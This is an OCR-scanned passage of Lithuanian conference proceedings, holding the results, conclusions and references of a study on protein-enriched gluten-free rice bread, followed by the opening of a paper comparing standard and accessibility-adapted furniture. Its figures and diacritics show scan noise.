Ryziy duonos tiiris su PIBK 15 padidéjo 15,6 proc., o su SBI priedu sumazéjo 33,3 proc.

Gaminiai su PIBK priedu pasiZyméjo tamsesne plutos spalva, minkstimo
spalva nekito, buvo didesnio akytumo, stambesnémis poromis, kurios maziau tolygios
nei matoma kontroléje, o su SBI priedu, pluta Sviesesné, minkstimo spalva nekito, poros
tankesnés ir smulkesnés (1 ir 2 pav.). Naudojant iSrigy baltymus, duona tapo tamsesné,
nes tarp aminorigsciy ir didesnio kiekio redukuojanciy cukry vyko intensyvesné
Majaro reakcija ir susidaré didesnis kiekis melanoidiny (Sharma, Chauhan, 2018).

Vizualiai stebint laikomus bandomuosius kepinius be pakuotés kambario
temperatiiroje, nustatyta, kad su didziausia pieno iSrigy baltymy koncentrato priedo
verte, galiojimas sutrumpéja dvejomis dienomis, 0 su sojos baltymy izoliatu — vieng
dieng prailgéja (supelijo po 8 dieny), lyginant su kontrole (3 lentelé¢). Sojos baltymai
kepimo metu i$laiko vandens kiekj duonoje, taip prailgindami duonos §vieZuma, kartu
pagerindami teslos kokybe ir plutos spalva (Crockett ir kt., 2011). Sj teiginj patvirtina
atlikti ryziy duonos tyrimai su SBI priedu, kadangi duonos terminas nesutrumpéjo, bet
prieSingai pailgéjo. PIBK gali pagerinti plutos parudavima, traskuma, minkstimo
struktiirg ir sulétinti duonos gedima, taip pailgindamas galiojimo laikg ir pagerindamas
duonos skonj (Paul ir kt., 2022). Nors $iy mokslininky tyrimy metu nustatyta teigiama
PIBK jtaka galiojimo laikui, taCiau atliekant tyrimus su ryziy duonomis gautas
priesingas rezultatas — jy galiojimo terminas sutrumpéjo, kadangi duona su PIBK priedu
buvo drégnesné.

PIBK 5 PIBK 10 PIBK 15
KONTROLE R
ERRTR :
) DECY T2 SBI15
— (‘3-,‘?3" S
Sy

1 pav. Kepiniy pjivio vaizdas. PIBK 5, PIBK 10, PIBK 15 — méginiai, kuriuose ryziy
miltai pakeisti pieno iSrligy baltymy koncentratu, atitinkamai 5, 10, 15 proc, SBI 5, SBI 10,

2 pav. Kepiniy vaizdas i§ virSaus
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3 lentelé. Duonos galiojimo terminas, stebint peléjimo poZymius

Kepiniy SBI
pavadinimai | Kontrolé¢ | PIBK5 | PIBK 10 PIBK 15 | SBI5 | SBI10 15
/ dienos
1-4

5 _

6 - - + - - -

7 + +

8 + + + + + +

9 + + + + + + +

() — nematomi peléjimo pozymiai, (+) — matomi peléjimo pozymiai.

Didinant pieno iSriigy baltymy koncentrato priedy kiekj duonoje, akytumas ir
savitasis tiris didéjo. Didziausias akytumas ir savitasis tiiris nustatytas su PIBK 15
priedu, kuris, atitinkamai, 35 proc. ir 20,6 proc. didesnis nei kontrolé. Sojos izoliatas
akytuma ir savitgjj tir] mazina, pridéjus 15 proc. priedo, Sie rodikliai, atitinkamai,
sumaz¢jo 21 ir 35,6 proc. lyginant su kontrole. Tyrimy rezultatai pateikti 3 paveiksle.
Mokslininkas Sahagun (2018) iStyré, kad duonos su augaliniais baltymais receptiiroje
reikia naudoti daugiau vandens nei duonos su gyvuliniais baltymais, kad biity gautos
didziausios savitojo tOrio vertés. Kitais tyrimais mokslininkai optimizavo duonos
hidratacijos lygj, ta¢iau jie naudojo labai didelj baltymy kiekj (30 proc.), kuris
pastebimai turéjo neigiama jtaka duonos savitajam tariui ir tekstorai, todél
bandomiesiems kepimams buvo pasirinkti mazesni baltymy priedy kiekiai (Sahagun ir
kt., 2020). Baltymy priedai visuose bandomuosiuose kepiniuose padidino energing
verte ir baltymy kiekj. Daugiausiai kalorijy nustatyta PIBK 15 méginyje, 13,53 proc.
daugiau su 4 Kkartais didesniu baltymy kiekiu nei kontrolé. Didziausias baltymy kiekio
padidéjimas nustatytas SBI 15 kepinyje, 4,23 karto daugiau baltymy ir 5,3 proc. daugiau
kalorijy, lyginant su kontrole (4 pav.). Gani ir kt. (2015a) atliktas tyrimas rodo, kad
baltymy pridéjimas prie sausainiy pagerino pastaryjy maisting vertg, taip pat turéjo
didele teigiama jtaka juslinéms savybéms ir kokybei. Tie patys autoriai (Gani ir kt.,
2015b) istyré, kad i griidy duonag jdéjus 10-15 proc. baltymy, pageréjo teslos savybés ir
tai neturéjo neigiamo poveikio fizinéms ir juslinéms duonos savybéms.
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Savitasis taris
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3 pav. Baltymy priedy jtaka akytumui ir savitojo trio rodikliams, PIBK 5, PIBK 10,

PIBK 15 — méginiai, kuriuose ryziy miltai pakeisti pieno iSriigy baltymy koncentratu,

atitinkamai 5, 10, 15 proc., SBI 5, SBI 10, SBI 15 — méginiai, j kuriuos pridéta sojos
baltymy izoliato, atitinkamai 5, 10, 15 proc., reik§minga, kai p<0,05

Kaloringumas O Baltymai
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2 150
100
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Kalorin
Baltymai, ¢

4 pav. Baltymy priedy jtaka baltymy kiekiui ir energinei vertei, PIBK 5, PIBK 10,
PIBK 15 — méginiai, kuriuose ryziy miltai pakeisti pieno i$riigy baltymy koncentratu,
atitinkamai 5, 10, 15 proc., SBI 5, SBI 10, SBI 15 — méginiai, j kuriuos pridéta sojos

baltymy izoliato, atitinkamai 5, 10, 15 proc., reik§minga, kai p<0,05

Rugstingumo rezultatai pateikti 5 paveiksle. Pridéjus baltymy priedy j ryziy
duona, tolygiai padidéja rugstingumas. Kepiniuose su didziausiais kiekiais priedo PIBK
15 ir SBI 15 ragstingumas vienodas, 45 proc. didesnis nei kontrolé. Penaloza-Espinosa
(2011) istyré, kad kvietinéje duonoje, didinant sojos baltymy izoliato kiekj ir
fermentacijos trukme, didéja riigStingumas. Duonos fermentacija skatina organiniy
rugsciy gamyba, o Sios medziagos kartu su fermenty ir mikroorganizmy poveikiu gali
sukelti proteolitinj poveikj pridétiems sojos pupeliy baltymams, todeél susidaro
laisvosios aminoriigstys (Leon ir kt., 2006).
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Ragstingumas,
N

5 pav. Baltymy priedy jtaka riigs§tingumo rodikliui, PIBK 5, PIBK 10, PIBK 15 —
méginiai, kurivose ryziy miltai pakeisti pieno iSrtigy baltymy koncentratu, atitinkamai
5, 10, 15 proc., SBI 5, SBI 10, SBI 15 — méginiai,  kuriuos pridéta sojos baltymy
izoliato, atitinkamai 5, 10, 15 proc., reik§minga, kai p<0,05

Kvapas, skonis Tekstiira
A§to kvapas
Akytumas
Acto skonis 2 T Priedo kvapas 4
3
J‘-\I 2
0] Kietumas Drégnumas
Priedo skonis / W Kartumas é/o\n
Bsekr(])izzs Islickamasis
o skonis
priimtinumas )
Elastingumas Trupumas
—o— Kontrolé PIBK 5 —&— Kontrole PIBK'S
PIBK 10 PIBK 15 PIBK 10 PIBK 15
a b
Kvapas, skonis Tekstlra
Acto kvapas Akytumas
3 il
. Priedo
Acto skonis 4 kvapas )
2.9 Kietumas Drégumas
_ 0 @\/
Zliloer?ig d&) Kartumas
Bendrag Islickamasis Elasti
; ingum
skonio skonis o Sgu . Trupumas
prumtinu. ..
—0— Kontrolé SBI5 —o0— Kontrolé SBI5
SBI 10 SBI 15 SBI 10 SBI 15
c d

6 pav. Ryziy duonos kvapo, skonio (a — su PIBK, ¢ — su SBI) ir tekstiiros (b — su
PIBK, d — su SBI) juslinis profilis, reik§minga, kai p<0,05
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Juslinis vertinimas, pateiktas 6 paveiksle, parodé¢, kad baltymy priedai turéjo
jtakos duonos skoniui, kvapui ir tekstiirai. Vertintojai Siuose méginiuose jauté
intensyvesnj priedo kvapa nei kontrolés, tai jtakojo su Siais priedais susij¢ papildomi
uoslés pojuciai. Neigiamai jvertintas specifinis sojos baltymy kvapas, o su pieno isriigy
baltymais jaufiamas kvapas vertintas teigiamai. Vertintojai pastebéjo panasias
tendencijas, analizuodami kepiniy skonio savybes: PIBK ir SBI intensyvino bendra
skonj, kepiniuose buvo juntami abu priedai, taip pat jauCiamas priedy poskonis.
Ryskiausia priedy jtaka skonio savybéms nustatyta, vertinant kepinius su SBI, kuris
vertintojams pasirodé nepatrauklus ir nepriimtinas (su SBI 10 ir 15 proc.). Sojy izoliatas
padidino duonos kartuma, o pieno iSrigy baltymy koncentratas jtakos Siam rodikliui
neturéjo, papildomai vertintojai pazyméjo, kad su PIBK duona — saldesné. Acto skonis
duonoje su PIBK buvo labiau juntamas nei su SBI, bet nejvertintas neigiamai. Majzoobi
ir kt. (2014) mokslininkai iStyré jvairiy SBI priedy kiekiy (nuo 0 iki 30 proc.) jtaka
pyrago juslinéms savybéms ir kokybés rodikliams, nustatyta, kad iki 20 proc. SBI
pridéjimas pagerino pyragy skonj, o dar labiau padidinus SBI kiekj (iki 30 proc.), skonio
vertinimas labai sumazéjo. Vertintojai nurodé, kad pyragaidiai, kuriy sudétyje buvo
30 proc. SBI, turéjo nepageidaujama skonj burnoje.

Vertinant tekstiirg (6 b, d pav.), baltymy priedy jtaka buvo nevienareik§meé.
PIBK akytuma, drégnuma, trupuma didino, SBI mazino, tokie pat rezultatai nustatyti ir
su instrumentiniais metodais. Tai rodo, kad jusliné analizé gerai koreliuoja su kokybine
analize. SBI elastinguma ir kietuma didino, o PIBK mazino.

Dél baltymy padidinimo atsiranda teksttiros poky¢iai, kietumo ir elastingumo
padidéjimas, kurj galima paaiskinti Silumos sukelta agregacija (Komeroski, Oliveira,
2023). Didziausias kietumas nustatytas Gani ir kt. (2015) tyrime pridéjus 15 proc. PIBK.
Pico ir kt. (2019) tyrimai parodé, kad duonos be glitimo i§ ryziy milty ir kukurtizy
krakmolo su 10 proc. PIBK priedu, pageréjo plutos traskumas ir padidéjo drégmés
kiekis. Be to, SBI gali padidinti disulfidinius rySius, todél kepiniai tampa elastingesni
(Crockett ir kt., 2011).

Pagal priimtinumo kriterijy vertintojai labiau rinkosi produkcijg, pagamintg su
PIBK (7 pav.). Visi méginiai su PIBK buvo priimtini, ta¢iau duona su PIBK 5 priedu
buvo priimtiniausia, 8,6 proc. labiau priimtina nei kontrolé. MaZiausiai priimtina duona
su didziausiu SBI priedo kiekiu, 47,1 proc. maziau uz kontrole. Erben ir Osella (2017)
juslinés analizés metu vertino bendra priimtinumg pagal penkiy baly hedoning skalg,
naudojo 15 ir 20 proc. PIBK. Gauti Zzemesni skonio, spalvos ir tekstiiros jvertinimai,
kurie gali baiti susij¢ su sumazéjusiu duonos tiiriu ir padidéjusiu minks§timo kietumu.
Tadiau su maZzesniu baltymy priedy kiekiu (5 ir 10 proc.) daugiau kaip 90 proc.
vertintojy pagal hedonine skale sutaré tarp "Patiko" ir "Labai patiko".

Ivertinus juslinés ir kokybinés analizés rezultatus, ryZziy duonos gamybai be
glitimo rekomenduojama naudoti 15 proc. pieno isriigy baltymy koncentrato prieda,
siekiant iSgauti didZiausig maisting verte, geriausig kokybe ir priimtinas juslines savybes.
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7 pav. Ryziy duonos bendras priimtinumas vartotojams

ISvados

1. Didé¢jant baltymy priedy kiekiui, drégmés kiekis reik§mingai nekinta,
titruojamasis ragstingumas, baltymy kiekis ir energiné verté didéja. Didziausias
baltymy kiekis duonoje nustatytas su 15 proc. SBI priedu 4,23 kartus didesnis nei
kontrolé, o didziausia energiné verté su PIBK 15 priedu, 13,53 proc. didesné uz
kontrole. Su PIBK akytumas ir savitasis tiris didéja, o su SBI priedu mazéja.
Didziausias savitasis tiris ir akytumas, nustatytas su PIBK 15, atitinkamai, 35 proc. ir
20,6 proc. didesnis nei kontrolé. Kepiniy galiojimo terminas didinant PIBK kiekj
trumpéja, o su SBI ilgéja. Su didZiausia pieno isriigy baltymy koncentrato priedo verte,
galiojimo terminas - 5 dienos, o su sojos baltymy izoliatu - 8 dienos. Norint prailginti
galiojimo laikg, duona rekomenduojama laikyti atokiau nuo saulés spinduliy,
polipropileno pakuotése.

2. Vertinant kepiniy skonj, kvapg ir tekstiira, labiausiai priimtina gaminio
teksttira, skonis ir kvapas buvo su PIBK. Vertintojams pasirodé nepatrauklus specifinis
SBI kvapas, skonis ir poskonis bei §io priedo jtaka teksttirai, ypa¢ akytumui. Geriausiai
jvertinti ir priimtiniausi — Kepiniai su 5 proc. PIBK, 8,6 proc. priimtinesni uz kontrolg,
0 maziausiai priimtini — su SBI priedais. Siekiant iSgauti didZiausig maisting verte,
priimtinas juslines savybes ir geriausia kokybe, beglitimés ryziy duonos gamyboje
rekomenduojama naudoti iki 15 proc. pieno isriigy baltymy koncentrato ir nevirSyti
5 proc. sojos baltymy izoliato priedo.

Literatiiros ir Kkity informacijos $altiniy sarasas

1. American Association of Cereal Chemists. Approved Methods Committee. (2000).
Approved methods of the American Association of cereal Chemists AACC, (10th
ed.). St Paul Minnesota, USA.

2. Akharume, F.U., Aluko, R.E., Adedeji, A.A. (2021). Modification of plant proteins
for improved functionality: A review. Comprehensive Reviews in Food Science and
Food Safety, 20: 198-224. https://doi.org/10.1111/1541-4337.12688

3. Aprodu, |, Badiu, A.E., Banu, 1. (2016). Influence of protein and water addition on
gluten-free dough properties and bread quality. International Journal of Food
Engineering, 12, 355-363.

181



10.

11.

12.

13.

14.

15.

16.

17.

18.

Araljo, W., Montebello, N., Botelho, R., Borgo, L. (2016). Alquimia dos Alimentos.
3rd ed. Senac; Brasilia. Brazil.

Barros, J.H.T., Telis, V.R.N., Taboga, S., Franco, C.M.L. (2018). Resistant starch
:Effect on rheology, quality, and staling rate of white wheat bread. Journal of Food
Science and Technology, 55(11), 4578-4588. https://doi.org/10.1007/s13197-018-
3393-6

Belorio, M., Gdmez, M. (2020). Effect of hydration on gluten-free breads made with
hydroxypropyl methylcellulose in comparison with psyllium and xanthan
gum. Foods, 9(11), 1548.

Belorio, M., Gomez, M. (2021). Psyllium: A useful functional ingredient in food
systems. Critical reviews in food science and nutrition, 62(2), 527-538.

Bhatia, S. (2016). Food biotechnology. CRC Press, Boca Raton.

Biesiekierski, J. R., lven, J. (2015). Non-coeliac gluten sensitivity: piecing the
puzzle together. United European gastroenterology journal, 3(2), 160-165.
Bourasa, A.D., Malika, M., Bourash, A.D., Megatelia, S. (2021). Fortifying wheat
bread with whey proteins: impact on nutritional value and technological properties.
South Asian Journal Experimental Biology, 11 (6), 700-709. DOI: 10.38150/sajeb.
Crockett, R., le, P. Vodovotz, Y. (2011). Effects of soy protein isolate and egg white
solids on the physicochemical properties of gluten-free bread. Food Chemistry, 129,
84-91.

Erben, M., Osella, C. (2017). Optimization of mold wheat bread fortified with soy
flour, pea flour and whey protein concentrate. Food Science and Technolgy
International, 23, 457-468.

Filipcev, B., Poji¢, M., Simurina, O., Misan, A., Mandi¢, A. (2021). Psyllium as an
improver in gluten-free breads: Effect on volume, crumb texture, moisture binding
and staling kinetics. LWT, 151, 112156.

Gani, A., Broadway, A. A., Ahmad, M., Ashwar, B. A., Wani, A. A., Wani, S. M.,
Masoodi, F. A., Khatkar, B. S. (2015a). Effect of whey and casein protein
hydrolysates on rheological, textural and sensory properties of cookies. Journal of
Food Science and Technology, 59(2), 5718-5726. http://dx.doi.org/10.1007/s13197-
014-1649-3. PMid:26344985.

Gani, A., Broadway, A.A., Masoodi, F.A., Wani, A.A., Magsood, S., Ashwar, B.A.,
Shah, A., Rather, S.A. (2015b). Enzymatic hydrolysis of whey and casein protein-
effect on functional, rheological, textural and sensory properties of breads. Journal
Food Science Technology, 52(12), 7697-7709.

Gorissen S.H.M., Crombag J.J.R., Senden J.M.G., Waterval W.A.H., Bierau J.,
Verdijk L.B, van Loon L.J.C. (2018). Protein content and amino acid composition
of commercially available plant-based protein isolates. Amino Acids, 50, 1685—
1695.

Gujral, H. S., Rosell, C. M. (2004). Improvement of the breadmaking quality of rice
flour by glucose oxidase. Food Research International. 37(1), 75-8.
https://doi.org/10.1016/j.foodres.2003.08.001.

Innovative Laboratory Equipment by IKA (n.d.). Calorimeters IKA. The World of
Calorific Value Determination. https://www.ika.com/en/Products-Lab-
Eqg/Calorimeters-Oxygen-Bomb-calorimeter-csp-330

182



19. Ishikawa-Takata, K., Takimoto, H. (2018). Current protein and amino acid intakes
among Japanese people: Analysis of the 2012 National Health and Nutrition
Survey. Geriatrics & gerontology international, 18(5), 723-731.

20. Jager, R., Kerksick, C. M., Campbell, B. I., Cribb, P. J., Wells, S. D., Skwiat, T. M.,
Antonio, J. (2017). International society of sports nutrition position stand: protein
and exercise. Journal of the International Society of Sports Nutrition, 14(1), 20.

21. Jusliné analizé. Metodika. Bendrieji nurodymai (tapatus ISO 6658:2017) (2017th—
12th-29. ed.). (2017). Lietuvos standartizacijos departamentas.
https://www.lvb.lt/permalink/f/1470m9t/LSDPRIM0654024

22. Karagounis, L. G., Volterman, K. A., Breuillé, D., Offord, E. A., Emady-Azar, S.,
Moore, D. R. (2018). Protein intake at breakfast promotes a positive whole-body
protein balance in a dose-response manner in healthy children: a randomized
trial. The Journal of Nutrition, 148(5), 729-737.

23. Komeroski, M. R., Oliveira, V. R. D. (2023). Influence of the Amount and Type of
Whey Protein on the Chemical, Technological, and Sensory Quality of Pasta and
Bakery Products. Foods, 12(14), 2801.

24. Koscelkovskiené 1., Pupeliené 1., (2017). Maisto biochemijos. Laboratoriniy darby
metodine priemone (1dalis). Kaunas: Kauno Kolegija.

25. Kristiawan, M., Micard, V., Maladira, P., Alchamieh, C., Maigret, J. E., Réguerre,
A. L., Della Valle, G. (2018). Multi-scale structural changes of starch and proteins
during pea flour extrusion. Food research international, 108, 203-215.

26.Leon, M.A., Montoya, 1.0., Motato, E.K., Granda, M.D., Caro, A.C., Restrepo,
M.J., Echeverri, S., Valencia, J., Quinchia, L. (2006). Bacterias acidolacticas (BAL)
silvestres Colombianas presentan propiedades adecuadas para la fabricacion de
masa cida. Revista Vitae, 13(2), 26-35.

27.LST 1442:1996. Duona ir pyrago kepiniai. Akytumo nustatymas. (1996). Lietuvos
standartizacijos departamentas.
https://www.lvb.It/permalink/f/1470m9t/\VUB01001064520

28.LST 1492:2013. Duona ir pyrago kepiniai. Drégmeés kiekio nustatymo metodai =:
Bakery goods. Methods for determination of moisture content. (2013). Lietuvos
standartizacijos departamentas
https://www.lvb.1t/permalink/f/1ss1v9f/KTU01000127407

29. LST 1553:1998. Miltiniai kepiniai ir konditerijos gaminiai. RigStingumo ir
Sarmingumo nustatymo metodai (1-asis leid.). (1998). Lietuvos standartizacijos
departamentas. https://www.Ivb.It/permalink/f/1470m9t/KTU01000020859

30. Majzoobi, M., Ghiasi, F., Habibi, M., Hedayati, S., Farahnaky, A. (2014). Influence
of soy protein isolate on the quality of batter and sponge cake. Journal of Food
Processing and Preservation, 38(3), 1164-1170.

31. Margarit, R. (2021). Endogenous Yeasts Quantity Effect on Bread Quality during the
Process of Bread Making. Annals: Food Science and Technology, 22 (1), 104-107.

32.Masure, H.G., Fierens, E. Delcour, J.A. (2016). Current and for- ward looking
experimental approaches in gluten-free bread making research. Journal of Cereal
Science, 67, 92-111. 56.

33. Melini, F., Melini, V., Luziatelli, F., Ruzzi, M. (2017). Current and Forward-
Looking Approaches to Technological and Nutritional Improvements of Gluten-

183


https://www.lvb.lt/permalink/f/1470m9t/KTU01000020859

Free Bread with Legume Flours: A Critical Review. Comprehensive Reviews in
Food Science and Food Safety, 16, 1101-1122. https://doi.org/10.1111/1541-
4337.12279.

34. Nagash, F., Gani, A., Gani, A., Masoodi, F.A. (2017). Gluten-free baking:
combating the challenges - a review. Trends in Food Science & Technology, 66,
98107. https://doi.org/10.1016/j.tifs.2017.06.004

35.Nikawa, T., Ishidoh, K. (2020). Ubiquitin ligase Cbl-b and inhibitory Cblin
peptides. Biochimica et Biophysica Acta (BBA)-Proteins and Proteomics, 1868(11),
140495.

36. Paul, S., Kulkarni, S., Chauhan, R. (2022). Utilization of whey in bakery products
— A review. Indian Journal Dairy Science, 75, 297-305.

37. Pefaloza-Espinosa, J., Gloria, J., Mora-Escobedo, R., Chanona-Pérez, J., Farrera-
Rebollo, R., Calderon-Dominguez, G. (2011). Sourdough and bread properties as
affected by soybean protein addition. In Ng, T.B (Ed.) Soybean-Applications and
Technology, 388 - 402. IntechOpen. DOI:10.5772/15567

38. Pico, J., Reguilon, M.P., Bernal, J., Gomez, M. (2019). Effect of rice, pea, egg white
and whey proteins on crust quality of rice flour-corn starch based gluten-free breads.
Journal of Cereal Science, 86, 92—-101.

39. Sahagun, M., Benavent-Gil, Y., Rosell, C. M., Gomez, M. (2020). Modulation of in
vitro digestibility and physical characteristics of protein enriched gluten free breads
by defining hydration. LWT, 117, 108642.

40.Sahagun, M., Gomez, M. (2018). Assessing influence of protein source on
characteristics of gluten-free breads optimising their hydration level. Food and
Bioprocess Technology, 11, 1686-1694.

41.Shan, L., Molberg, O., Parrot, I., Hausch, F., Filiz, F., Gray, G. M., Khosla, C.
(2002). Structural basis for gluten intolerance in celiac sprue. Science, 297(5590),
2275-2279.

42.Sharma, K., Chauhan, E.S. (2018). Multifaceted Whey Protein: Its Applications in
Food International Journal of Health Sciences and Research, 8, 262.

43.Skendi, A., Papageorgiou, M., Varzakas, T. (2021). High Protein Substitutes for
Gluten in Gluten-Free Bread. Foods, 10(9), 1997.
https://doi.org/10.3390/foods10091997.

44.Song, X., Perez-Cueto, F. J., Bredie, W. L. (2018). Sensory-driven development of
protein-enriched rye bread and cream cheese for the nutritional demands of older
adults. Nutrients, 10(8), 1006.

45, Srikanlaya, C., Therdthai, N., Ritthiruangdej, P., Zhou, W. (2018). Effect of
hydroxypropyl methylcellulose, whey protein concentrate and soy protein isolate
enrichment on characteristics of gluten-free rice dough and bread. International
Journal of Food Science & Technology, 53 (7),1760-70. doi: 10.1111/ijfs.13761.

46. Sturgeon, C., Lan, J., Fasano, A. (2017). Zonulin transgenic mice show altered gut
permeability and increased morbidity/mortality in the DSS colitis model. Annals of
the New York Academy of Sciences, 1397(1), 130-142.

47.Wallace, T. C., Frankenfeld, C. L. (2017). Dietary protein intake above the current
RDA and bone health: a systematic review and meta-analysis. Journal of the
American College of Nutrition, 36(6), 481-496.

184


https://doi.org/10.1016/j.tifs.2017.06.004

Summary

Protein is essential for maintaining muscle mass and strength, especially in the elderly, as well as
improving the conditioning of athletes, and ensuring healthy growth of children. This research
was carried out with the aim of increasing the protein content of gluten-free rice bread, which
would be beneficial for gluten intolerant or celiac athletes and in ensuring a required protein
intake with food, especially in the case of elderly and developing children’s diets. During the
research, the quality parameters and sensory characteristics of gluten-free bread with increased
protein content was evaluated. Small dose (5%) of psyllium husk was used to improve the texture
and shape retention of the rice bread.

Rice bread was subject to following tests: rice bread with psyllium husk and no protein additives
was used as a reference, with different amounts (5%, 10% and 15%) of soy protein isolate (SPI)
added, and rice flour replaced with different amounts (5%, 10% and 15%) of milk whey protein
concentrate (WPC). The results showed that rice bread containing more than Sproc. SPI additive
had a negative effect on the sensory characteristics. The addition of SPI, compared to the
reference, resulted in a reduction of qualitative characteristics and an improvement in protein
content. Bread with 15% WPC retained satisfactory sensory characteristics and improved specific
volume, porosity and protein content. It was therefore recommended that the SBI additive content
in gluten-free rice bread should not exceed 5proc. and that rice flour may be substituted for up to
15% of WPC additive.

Keywords: gluten free bread, rice flour, psyllium husk, soy protein isolate, milk whey protein
concentrate.
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Baldai pritaikyti judéjimo negalig turintiems asmenims

Saimonas Rozenbergas, Gintaras Keturakis
Kauno kolegija

Anotacija. Siame tyrime nagrinéjama, kuo skiriasi judéjimo negalig turintiems
zmonéms skirti baldai nuo jprastiniy. Tyrime pabréziama prieinamy ir ergonomisky
baldy dizaino svarba, siekiant uztikrinti saugy ir nepriklausoma gyvenima asmenims,
turintiems judéjimo negalia. ApZzvelgus literatiira, standartus ir atlikus jprasty ir
pritaikyty baldy (raSomuyjy staly, foteliy, miegamyjy lovy) lyginamaja analize,
nustatyta, kad tradiciniai baldai neatitinka riboto judéjimo asmeny poreikiy.

Raktiniai ZodZiai: riboto judéjimo asmenims pritaikyti baldai, universalus
dizainas, ergonomika, baldy dizainas

Ivadas

Tyrimo aktualumas. Projektuojant baldus judéjimo negalig turintiems zmonéms,
pirmenyb¢ turi bti teikiama savarankiSkumui, patogumui ir bendrai gerovei (Karah, 2023).
Specialiai Siems asmenims pritaikyti baldai tenkina unikalius poreikius, leidZia saugiai ir
savarankiskai atlikti kasdienes uzduotis (Muraguri, 2023). Iprastuose balduose daznai
neatsizvelgiama | specifinius judéjimo sutrikimy turin¢iy asmeny reikalavimus.

Tyrimo problema. Baldams, kuriais naudojasi judéjimo negalig turintys
asmenys, labai svarbu parinkti tinkamus funkcinius matmenis baldams. Gaminant
jprastus baldus, daznai neatsiZvelgiama j Zmoniy su judéjimo negaliai antropometrinius
iSmatavimus ir funkcinius poreikius, todél atsiranda diskomfortas, pavojus saugumui ir
sumazéja jy savarankiSkumas.

Tyrimo objektas. Baldai pritaikyti judéjimo negalia turintiems asmenims.

Tyrimo tikslas. I8analizuoti ir palyginti judéjimo negalia turintiems asmenims
pritaikytus baldus su jprastiniais baldais.

Tyrimo uzZdaviniai:

1. Pateikti jprastiniy baldy ir baldy, pritaikyty Zmonéms su judéjimo negalia,
apzvalga;

2. Nustatyti pagrindinius jprastiniy ir pritaikyty Zmonéms su judéjimo negalia
baldy skirtumus ir panaSumus.

Tyrimo metodai. Literataros $altiniy, standarty ir rekomendacijy apZvalga.

Teoriné dalis. Ergonomikos svarba

Ergonomika — tai moksliné disciplina, kuri susijusi su Zmogaus gebéjimy ir
suprojektuotos aplinkos sgveikos optimizavimu ir yra labai svarbi kuriant baldy
sprendimus, uZztikrinan¢ius sauguma, patogumg ir prieinamuma (HFES, 2024). Sis
principas labai svarbus projektuojant baldus judéjimo negalig turintiems asmenims
(Interior, 2023). Projektuojant baldus biutina atkreipti démesj j antropometrinius ir
ergonominius veiksnius, kad biity patenkinti konkretlis naudotojy poreikiai
(Yandarmadi & Mariana, 2022).
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Tyrimo metodika

Siame tyrime bus vertinami daZniausiai buityje naudojami baldai: raomasis
stalas, fotelis ir lova. Kiekvienas baldas turi savo ergonominius matmenis, kurie biidingi
iprastiniams (tradiciniams) ir pritaikytus judéjimo negalia turintiems asmenims.

Siekiant nustatyti, kurie matmenys nepritaikyti judéjimo negalig turintiems
asmenims, atsitiktine tvarka internetiniuose kataloguose apzvelgta jprastiniy raSomyjy
staly (1 pav.) matmenys ir pateikti 1 lenteléje.

13 pav. [prastas raSomasis stalas (IKEA Lietuva, n.d.)

1 lentelé. Jprastiniy rasomyjy pagrindiniai matmenys
(sudaryta autoriaus pagal IKEA Lietuva, n.d. Baldoteka, n.d. Baldy turgus, n.d.)

Nr Laisvasis plotis tarp Soniniy Gylis Nuo grindy aukstis iki
' skydu (cm) (cm) stalvir§iaus (cm)
1. 65 60 73
2. 76 56 69
3. 73 52 77
4. 75 55 76
5. 72 58 79
6. 74 70 72
7. 84 60 70
8. 104 60 70
9. 80 55 72
Vidurkis: 78,1 58,4 73,1

Perzitiréty jprastiniy raSomuyjy staly vidutinis aukstis iki stalvirsio yra 73,1 cm
ir tai 1,9 cm mazesnis uz rekomenduojamg prieinamg aukstj, kuris yra 75 cm. [prastiniy
raSomuyjy staly plotis tarp Soniniy skydy yra 78,1 cm, kai rekomenduojamas matmuo
biina 75 cm, taciau kai kuriy staly plotis yra siauresnis, pavyzdZiui: 65; 72 ir 73 cm
(Paralympic, 2020). Nejgaliojo vezimélyje sédin¢iam zmogui dél siauresnés erdves
tampa sunkiau manevruoti prie stalo (A Planning Guide for Making Temporary Events
Accessible to People, 2015). Be to, jprastiniy raSomuyjy staly vidutinis gylis yra
58,4 cm, judéjimo negalig turintiems Zzmonéms, yra pankankamas, taciau, jei stalo gylis
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yra nepakankamas, tai gali trukdyti nejgaliojo vezimélyje sédin¢iam asmeniui patogiai
pakisti kelius po stalu, todél jis bus priverstas sédéti labiau atsiloses ir tai gali turéti
jtakos jo gebéjimui pasiekti stalo pavirsiy (Paralympic, 2020).

RaSomasis stalas pritaikytas judéjimo negalia turintiems asmenims pateiktas 2
paveiksle.

2 pav. Rasomasis stalas pritaikytas judéjimo negalig turintiems asmenims
(HeightAdjustableDesks.com, 2024)

Siekiant nustatyti, kurie matmenys nepritaikyti judéjimo negalig turintiems
asmenims, naudojant jprastinius fotelius (3 pav.), atsitiktine tvarka internetiniame
kataloguose apzvelgti ir susisteminti jprastiniy foteliy matmenys, kurie pateikti 2 lenteléje.

3 pav. Jprastas fotelis (IKEA Lietuva, n.d.)

2 lentele. [prastiniy foteliy pagrindiniai matmenys
(sudaryta pagal IKEA Lietuva, n.d.)

Nr. Sédynés plotis (cm) Sédynés gylis (cm) Sédynés aukstis (cm)
1. 49 54 45
2. 54 50 42
3. 56 50 42
4. 55 55 45
5. 65 61 44
6. 57 46 43
7. 50 50 47
8. 54 54 45
9. 61 59 45

Vidurkis: 56 53 44
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Iprastiniy foteliy sédynés vidutinis plotis 56 cm atitinka prieinamumo
standartus, kuris turéty buti ne mazesnis nei 53 cm judéjimo negalig turintiems
asmenims, ta¢iau matmeny analizé (2 lentelé) parodé, kad yra pavieniy foteliy, kuriy
plociai neatitinka prieinamumo standarty (pvz.: 49 ir 50 cm). Iprastiniy foteliy vidutinis
gylis 54 cm atitinka standartus, kuris turi biiti nemaZzesnis nei 38 cm. Sédynés plotis ir
gylis yra labai svarbis, kad biity galima saugiai ir lengvai perseésti i$ vezimélio j kédg.
Be to jprastiniy foteliy vidutinis sédynés aukstis 44 cm tenkina prieinamumo standartus,
kuris turi buti nuo 43 iki 48 cm, tac¢iau yra kaip matome pavieniy foteliy neatitinkanciy
standarty, pvz.: 42 cm (Adata, n.d.).

Numatyti papildomi reikalavimai foteliams. Rekomenduojama, kad bty
integruota reguliuojama galvos ir nugaros atrama. Tai uZtikrina patoguma ir naudotojo
laikysenos palaikymg jvairiose pasvirimo padétyse. Atsitiktinai apzvelgtuose
tradiciniuose foteliuose nebuvo rasta reguliuojamy nugaros ar galvos atlosy (Adata, n.d.).

Sulankstomi arba nuimami porankiai yra batini, kad vezimélis galéty
